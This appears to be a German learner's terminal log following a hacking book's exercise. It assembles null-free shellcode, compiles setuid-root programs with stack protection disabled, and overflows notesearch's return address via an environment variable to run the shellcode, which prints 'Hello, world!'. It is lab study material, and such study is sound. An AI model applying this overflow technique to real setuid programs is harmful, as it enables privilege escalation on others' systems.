root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# nasm helloworld3.s
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# hexdump -C helloworld3 | grep --color=auto 00
00000000 eb 13 59 31 c0 b0 04 31 db 43 31 d2 b2 0f cd 80 |..Y1...1.C1.....|
00000010 b0 01 4b cd 80 e8 e8 ff ff ff 48 65 6c 6c 6f 2c |..K.......Hello,|
00000020 20 77 6f 72 6c 64 21 0a 0d | world!..|
00000029
...wie im Buch.
Den folgenden Abschnitt müsst ihr noch ausführen, wenn ihr das Unterkapitel übersprungen habt.
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# gcc -g -fno-stack-protector -z execstack -o notetaker notetaker.c
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# sudo chown root:root ./notetaker
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# sudo chmod u+s ./notetaker
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./notetaker "this a test of multiuser notes"
[DEBUG] buffer @ 0x804b008: 'this a test of multiuser notes'
[DEBUG] datafile @ 0x804b070: '/var/notes'
[DEBUG] file descriptor is 3
Note has been saved.
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ls -l /var/notes
-rw------- 1 root root 36 Aug 12 21:54 /var/notes
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# gcc -g -fno-stack-protector -z execstack -o notesearch notesearch.c
notesearch.c: In Funktion »print_notes«:
notesearch.c:49:3: Warnung: Format ist kein Zeichenkettenliteral, und keine Formatargumente [-Wformat-security]
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# sudo chown root:root ./notesearch
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# sudo chmod u+s ./notesearch
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./notesearch
[DEBUG] found a 31 byte note for user id 0
this a test of multiuser notes
-------[ end of note data ]-------
Hier geht’s weiter...
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# export SHELLCODE=$(cat helloworld3)
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./getenvaddr SHELLCODE ./notesearch
SHELLCODE will be at 0xbffff8ca
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./notesearch $(perl -e 'print "\xca\xf8\xff\xbf"x40')
[DEBUG] found a 31 byte note for user id 0
-------[ end of note data ]-------
Hello, world!
Ohne die Nullen geht’s :-)
Es hat sich nur Returnadresse geändert.